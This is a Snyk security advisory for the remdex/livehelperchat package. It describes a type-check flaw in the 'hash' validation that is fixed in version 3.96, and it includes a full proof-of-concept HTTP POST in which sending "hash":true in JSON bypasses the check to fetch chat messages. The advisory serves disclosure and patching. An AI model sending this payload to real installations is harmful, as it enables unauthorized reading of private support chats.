Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade remdex/livehelperchat
to version 3.96 or higher.
remdex/livehelperchat is a package that offers live support for your website. Featuring web and desktop clients. Compatible Windows, Linux, Mac. Desktop client powered by QT. Supports mobile phones based on XMPP service providers (GTalk, Xabber, Mono etc.)
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type via the requestPayload['hash']
validation due to improper "Type" check. This vulnerability can be exploited by passing other Data-Types via JSON, which causes the if
condition to be true
.
POST /eng/widgetrestapi/fetchmessages HTTP/1.1
Host: demo.livehelperchat.com
Cookie: lhc_vid=eb9bc0c044919538c5b1
Content-Length: 62
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://demo.livehelperchat.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.livehelperchat.com/
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"chat_id":2,"hash":true,"lmgsid":1,"theme":1,"new_chat":true}